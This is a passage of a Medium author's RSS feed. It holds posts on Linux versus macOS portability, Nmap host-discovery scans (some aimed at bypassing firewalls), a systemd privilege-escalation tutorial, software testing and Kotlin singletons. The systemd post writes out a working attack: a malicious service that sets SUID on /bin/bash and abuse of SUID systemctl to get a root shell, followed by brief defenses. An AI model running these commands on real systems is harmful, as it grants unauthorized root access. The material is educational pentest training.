Architectures</h3><h3>✅ Linux: Extremely Portable</h3><p>Linux was built to be portable. It runs on a wide array of architectures — from servers to embedded systems.</p><p>Supported Architectures Notes <strong>x86 / x86_64</strong> PCs, servers, VMs <strong>ARM / ARM64 (AArch64)</strong> Raspberry Pi, smartphones, Apple Silicon <strong>MIPS, RISC-V, PowerPC</strong> Used in routers, IoT, custom hardware <strong>SPARC, Itanium</strong> Legacy and specialized systems</p><h4>🔧 Why It’s Portable:</h4><ul><li>Architecture-specific kernel code is modular</li><li>Compiler support across platforms</li><li>Massive community maintaining ports</li></ul><h3>❌ macOS: Limited Portability</h3><p>macOS is not portable beyond Apple-controlled environments.</p><p>Architecture macOS Support Notes <strong>x86_64</strong> ✅ Fully supported Intel-based Macs (2006–2023) <strong>ARM64</strong> ✅ Fully supported Apple Silicon (M1/M2/M3 — since 2020) <strong>Others</strong> ❌ Not supported No support for RISC-V, MIPS, etc.</p><h4>🚫 Limitations:</h4><ul><li>macOS cannot be legally or officially run on non-Apple hardware.</li><li>No support for SBCs or third-party ARM devices (e.g., Raspberry Pi).</li><li>macOS kernels are tailored to specific Apple hardware platforms.</li></ul><h3>⚖️ Summary Table</h3><p>Feature <strong>Linux</strong> <strong>macOS</strong> <strong>Kernel Type</strong> Monolithic with modules Hybrid (Mach microkernel + BSD) <strong>Open Source?</strong> ✅ Yes (GPL) ⚠️ Partially (Darwin under APSL) <strong>Portability</strong> ✅ Very high ❌ Only Apple hardware (Intel/ARM) <strong>Supported Architectures</strong> x86, ARM, MIPS, RISC-V, more x86_64, ARM64 (Apple Silicon only) <strong>Driver Model</strong> Kernel modules IOKit (Object-oriented in C++) <strong>Filesystem Support</strong> ext4, btrfs, xfs, etc. APFS, HFS+ <strong>Package Manager</strong> APT, YUM, Pacman, etc. Homebrew, Mac App Store <strong>Usage Flexibility</strong> Servers, desktops, embedded, security Mac computers, creative workstations</p><h3>✅ Conclusion</h3><ul><li><strong>Linux</strong> stands out as a portable, modular, and open OS that adapts to virtually any hardware. It’s ideal for development, cybersecurity, server infrastructure, and embedded systems.</li><li><strong>macOS</strong> offers an elegant, tightly integrated user experience — but is tied closely to Apple hardware and ecosystem. Its hybrid kernel design balances performance and security but sacrifices hardware flexibility.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=952872411e21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ WHEN TO USE EACH SCAN TYPE]]></title>
            <link>https://medium.com/@ashrafal3oni/when-to-use-each-scan-type-8700c0a3cf01?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8700c0a3cf01</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 10:43:32 GMT</pubDate>
            <atom:updated>2025-04-15T10:43:32.679Z</atom:updated>
            <content:encoded><![CDATA[<p>Protocol Nmap Option When to Use Best For Notes</p><h3>🔵 ARP Scan</h3><ul><li>nmap -PR</li><li><strong>When:</strong> You’re on the <strong>same subnet/LAN</strong> as the target</li><li><strong>Use For:</strong> Fast &amp; accurate local host discovery</li><li>✅ <strong>Best accuracy</strong>, almost guaranteed response</li><li>❌ Doesn’t work across routers (ARP is not routable)</li></ul><p>📌 Example:</p><pre>sudo nmap -PR -sn 192.168.1.0/24</pre><h3>🟡 ICMP Echo (Ping)</h3><ul><li>nmap -PE</li><li><strong>When:</strong> You are scanning <strong>remote subnets</strong></li><li><strong>Use For:</strong> Basic reachability test</li><li>❌ Often blocked by firewalls (e.g., Windows firewall)</li></ul><p>📌 Example:</p><pre>nmap -PE -sn 10.10.10.0/24</pre><h3>🟠 ICMP Timestamp / Address Mask</h3><ul><li>nmap -PP (Timestamp)</li><li>nmap -PM (Address Mask)</li><li><strong>When:</strong> -PE is blocked but ICMP is partially allowed</li><li><strong>Use For:</strong> Secondary fallback when Echo doesn’t respond</li><li>✅ Works in more restrictive networks</li></ul><p>📌 Example:</p><pre>nmap -PP -sn 10.10.10.0/24<br>nmap -PM -sn 10.10.10.0/24</pre><h3>🔴 TCP SYN Ping</h3><ul><li>nmap -PS&lt;port&gt;</li><li><strong>When:</strong> You want to find live hosts using <strong>common ports</strong> (80, 443)</li><li><strong>Use For:</strong> Remote detection where ICMP is blocked</li><li>✅ Fast, low-noise, stealthy</li><li>✅ Works well in enterprise networks</li><li>Requires <strong>root access</strong></li></ul><p>📌 Example:</p><pre>sudo nmap -PS80,443 -sn 10.10.10.0/24</pre><h3>🔴 TCP ACK Ping</h3><ul><li>nmap -PA&lt;port&gt;</li><li><strong>When:</strong> ICMP and SYN are blocked</li><li><strong>Use For:</strong> Firewalled networks that respond to unexpected ACKs</li><li>✅ Helps bypass stateless firewalls</li><li>Requires <strong>root access</strong></li></ul><p>📌 Example:</p><pre>sudo nmap -PA80 -sn 10.10.10.0/24</pre><h3>🟣 UDP Ping</h3><ul><li>nmap -PU&lt;port&gt;</li><li><strong>When:</strong> TCP and ICMP are blocked, or target uses UDP services</li><li><strong>Use For:</strong> Finding live hosts based on <strong>ICMP port unreachable</strong> replies</li><li>❌ Slower &amp; less reliable</li><li>✅ Good for discovering hosts with exposed UDP services</li></ul><p>📌 Example:</p><pre>sudo nmap -PU53,161 -sn 10.10.10.0/24</pre><h3>🔁 Which One Should You Use?</h3><h3>✅ You’re scanning your local network:</h3><ul><li>Use -PR (ARP scan) — it&#39;s fast and reliable</li></ul><h3>✅ You’re scanning remote systems (other subnet or internet):</h3><ol><li>Try -PE (ICMP echo)</li></ol><p>If blocked, fallback to:</p><ul><li>-PP (timestamp)</li><li>-PM (address mask)</li></ul><p>If ICMP is fully blocked, use:</p><ul><li>-PS80,443 (SYN)</li><li>-PA80 (ACK)</li></ul><p>Want to test for UDP services or ICMP unreachable? Try:</p><ul><li>-PU53,161</li></ul><h3>🧠 Pro Tip</h3><p>🔒 <strong>Enterprise firewalls</strong> often block:</p><ul><li>ICMP (Echo, timestamp, etc.)</li><li>Common SYN scans</li></ul><p>But they might not block:</p><ul><li>ACK scans</li><li>UDP scans</li><li>Timing-based responses (Masscan)</li></ul><h3>💡 Real-World Scenario Table</h3><p>Situation Best Scan Type Same LAN ARP (-PR) Remote LAN with open ICMP ICMP (-PE) ICMP blocked, web server open TCP SYN (-PS80) Stealth scan, bypass firewall TCP ACK (-PA) DNS/SNMP target detection UDP (-PU53,161)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8700c0a3cf01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Understanding systemctl and Systemd Services for Privilege Escalation]]></title>
            <link>https://medium.com/@ashrafal3oni/understanding-systemctl-and-systemd-services-for-privilege-escalation-01201f976f85?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/01201f976f85</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 07:08:36 GMT</pubDate>
            <atom:updated>2025-02-03T07:08:36.412Z</atom:updated>
            <content:encoded><![CDATA[<h3>📌 What is systemctl?</h3><p>systemctl is a command-line tool used to interact with <strong>systemd</strong>, the system and service manager for Linux. It controls <strong>system services</strong>, <strong>logs</strong>, <strong>boot configurations</strong>, and more.</p><p>When a <strong>non-root user</strong> is allowed to run systemctl (or if it has the <strong>SUID bit set</strong>), they can <strong>register and execute arbitrary services</strong>, potentially leading to <strong>privilege escalation</strong>.</p><h3>📂 Structure of a Systemd Service File</h3><p>A <strong>Systemd service file</strong> is a configuration file that tells systemd how to <strong>start, stop, and manage</strong> a specific service.</p><p>The basic structure of a service file looks like this:</p><pre>[Unit]<br>Description=My Custom Service<br>After=network.target<br><br>[Service]<br>Type=simple<br>ExecStart=/path/to/script.sh<br>Restart=always<br><br>[Install]<br>WantedBy=multi-user.target</pre><h3>📌 Key Sections:</h3><ol><li><strong>[Unit]</strong> → Metadata about the service</li></ol><ul><li>Description= → A description of the service</li><li>After= → Specifies when to start the service</li></ul><p><strong>2. [Service]</strong> → The main logic of the service</p><ul><li>Type= → Defines how the service behaves</li><li>ExecStart= → The command to run when the service starts</li><li>Restart= → Defines if the service should restart</li></ul><p><strong>3. [Install]</strong> → When should this service be started automatically?</p><ul><li>WantedBy=multi-user.target → Starts the service at boot</li></ul><h3>📌 How to Manually Register a Systemd Service</h3><p>If you have <strong>root privileges</strong> (or if systemctl has SUID), you can manually create and register a new systemd service.</p><h3>1️⃣ Create the Service File</h3><pre>nano /etc/systemd/system/malicious.service</pre><p>Add the following:</p><pre>[Service]<br>Type=oneshot<br>ExecStart=/bin/bash -c &quot;chmod +s /bin/bash&quot;<br>[Install]<br>WantedBy=multi-user.target</pre><h3>2️⃣ Register and Enable the Service</h3><pre>systemctl daemon-reload  # Reload systemd configurations<br>systemctl enable --now malicious.service  # Start and enable service</pre><p>Now, /bin/bash has <strong>SUID privileges</strong>, meaning any user can run:</p><pre>/bin/bash -p</pre><p>🔥 <strong>Boom! You have a root shell! 🔥</strong></p><h3>📌 Abusing SUID systemctl for Privilege Escalation</h3><p>If systemctl is <strong>SUID-enabled</strong>, you don’t need root to register and execute services.</p><pre>sudo install -m =xs $(which systemctl) .</pre><p>Then, create a malicious service file:</p><pre>TF=$(mktemp).service<br>echo &#39;[Service]<br>Type=oneshot<br>ExecStart=/bin/sh -c &quot;chmod +s /bin/bash&quot;<br>[Install]<br>WantedBy=multi-user.target&#39; &gt; $TF</pre><p>Execute it:</p><pre>./systemctl link $TF<br>./systemctl enable --now $TF</pre><p>Now /bin/bash is a <strong>root shell</strong>.</p><h3>🛡️ Defense Against This Attack</h3><p>✔ <strong>Remove SUID from </strong><strong>systemctl</strong></p><pre>chmod u-s /bin/systemctl</pre><p>✔ <strong>Restrict non-root users from managing services</strong></p><pre>chmod 700 /etc/systemd/system/</pre><p>✔ <strong>Monitor for unauthorized systemd services</strong></p><pre>systemctl list-units --type=service --all</pre><h3>🚀 Summary</h3><ul><li><strong>Systemd services</strong> are used to manage system processes.</li><li><strong>If a user can register services, they can execute arbitrary commands as root.</strong></li><li><strong>If </strong><strong>systemctl is SUID-enabled, it can be used for privilege escalation.</strong></li><li><strong>A backdoor can be created by modifying a systemd service to run malicious commands.</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01201f976f85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ **The Importance of Testing in Software Development**]]></title>
            <link>https://medium.com/@ashrafal3oni/the-importance-of-testing-in-software-development-8842fac66666?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8842fac66666</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-testing]]></category>
            <category><![CDATA[quality-assurance]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Mon, 25 Dec 2023 19:26:25 GMT</pubDate>
            <atom:updated>2023-12-25T19:26:25.427Z</atom:updated>
            <content:encoded><![CDATA[<p>Building robust software requires thorough testing to ensure it works seamlessly. In this video, we delve into the significance of testing in the software development process. Testing is not just about preventing code errors; it’s about enhancing the user experience and safeguarding your app’s reputation.</p><p>🧪 **What is Software Testing?**<br>Software testing involves evaluating, validating, and verifying a software application to ensure correctness, reliability, performance, and completeness. Early identification of issues is crucial to prevent them from becoming entrenched in the code.</p><p>🔍 **Types of Testing:**<br>The evolution of software testing has led to various types, including unit testing, integration testing, end-to-end testing, performance testing, and acceptance testing. The efficiency of each type depends on its design and its ability to detect defects.</p><p>🚦 **Testing Lifecycle:**<br>The testing lifecycle encompasses analyzing software requirements, test planning, designing test cases, preparing the test environment, executing tests, and reporting issues. A well-structured testing process is vital for a seamless development cycle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNo3ht8LhAUdQkUQaeIBEQ.png" /></figure><p>🔄 **Reusability and Awareness:**<br>Effective testing practices include ensuring test reusability, aligning tests with software requirements, and running tests both in isolation and conjunction with others. These practices contribute to better reliability, functionality, and user experience.</p><p>🛑 **When to Stop Testing:**<br>While perfection is elusive, determining when to stop testing involves monitoring metrics like test cycles, successful test case percentages, and time intervals between failures. Striking the right balance is key to delivering a reliable software product.</p><p>🌐 **Tailored Testing for Diverse Apps:**<br>Different types of applications require tailored testing approaches. For example, a banking app’s testing needs differ from those of a food delivery app. Understanding these nuances ensures comprehensive testing aligned with specific requirements.</p><p>💡 **Key Takeaway:**<br>Testing isn’t just a phase; it’s an integral part of the development cycle. Experienced developers incorporate testing early and consistently to identify and rectify issues. A well-tested app leads to a superior end-user experience, making testing a non-negotiable aspect of successful software development.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8842fac66666" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[*The Power of Singleton in App Development *]]></title>
            <link>https://medium.com/@ashrafal3oni/the-power-of-singleton-in-app-development-f402ad87d6e8?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f402ad87d6e8</guid>
            <category><![CDATA[kotlin]]></category>
            <category><![CDATA[singleton-pattern]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[development]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Mon, 25 Dec 2023 09:52:49 GMT</pubDate>
            <atom:updated>2023-12-25T09:52:49.049Z</atom:updated>
            <content:encoded><![CDATA[<h3>In app development, managing instances efficiently is crucial. While multiple instances serve various purposes, there are scenarios where only one instance should exist — a perfect use case for Singletons.</h3><h3>*Singletons Defined:*<br>Singletons are a design pattern ensuring that only one instance of an object exists. In Kotlin, the `object` keyword simplifies their implementation, promoting a unique instance of a class. Consider a practical example with the Lemon app’s Logger class in below code .</h3><h3>**Key Differences:**<br>Unlike regular classes, Singletons eliminate the possibility of creating multiple instances. Functions and properties in Singletons are accessed statically using the class name, enhancing simplicity and control.</h3><h3>**Distinctive Features:**</h3><h3>1. **Single Instance Rule:**<br> — Classes allow multiple instances; Singletons permit only one.</h3><h3>2. **Static Access:**<br> — Singleton functions and properties are accessed directly through the class name, enhancing code readability.</h3><h3>3. **Global Accessibility:**<br> — Singleton instances are accessible globally, promoting a centralized and consistent state.</h3><h3>4. **Efficiency:**<br> — Singletons are efficient for representing concepts where only a single instance is logically valid, like a logging mechanism in the example.</h3><h3>**When to Use Singletons:**</h3><h3>1. **Global Configuration:**<br> — Ideal for storing and managing global configurations that should remain consistent throughout the app.</h3><h3>2. **Resource Management:**<br> — Effective for managing shared resources like network connections, database instances, or settings.</h3><h3>3. **Utility Functions:**<br> — Convenient for encapsulating utility functions that don’t require instantiation.</h3><h3>**Conclusion:**<br>Singletons, with their one-instance rule and static access, are a powerful tool in app development. Knowing when to use them enhances code clarity and efficiency. As you advance in your development journey, mastering Singletons becomes a valuable skill in your toolkit. 🚀 <a href="https://www.linkedin.com/feed/hashtag/?keywords=flutter&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7144631752714616832">#Flutter</a> <a href="https://www.linkedin.com/feed/hashtag/?keywords=kotlin&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7144631752714616832">#Kotlin</a> <a href="https://www.linkedin.com/feed/hashtag/?keywords=appdevelopment&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7144631752714616832">#AppDevelopment</a> <a href="https://www.linkedin.com/feed/hashtag/?keywords=singletonpattern&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7144631752714616832">#SingletonPattern</a> <a href="https://www.linkedin.com/feed/hashtag/?keywords=codingtips&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7144631752714616832">#CodingTips</a></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ayy-C6dlb2Lza2fzq2ZH9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f402ad87d6e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>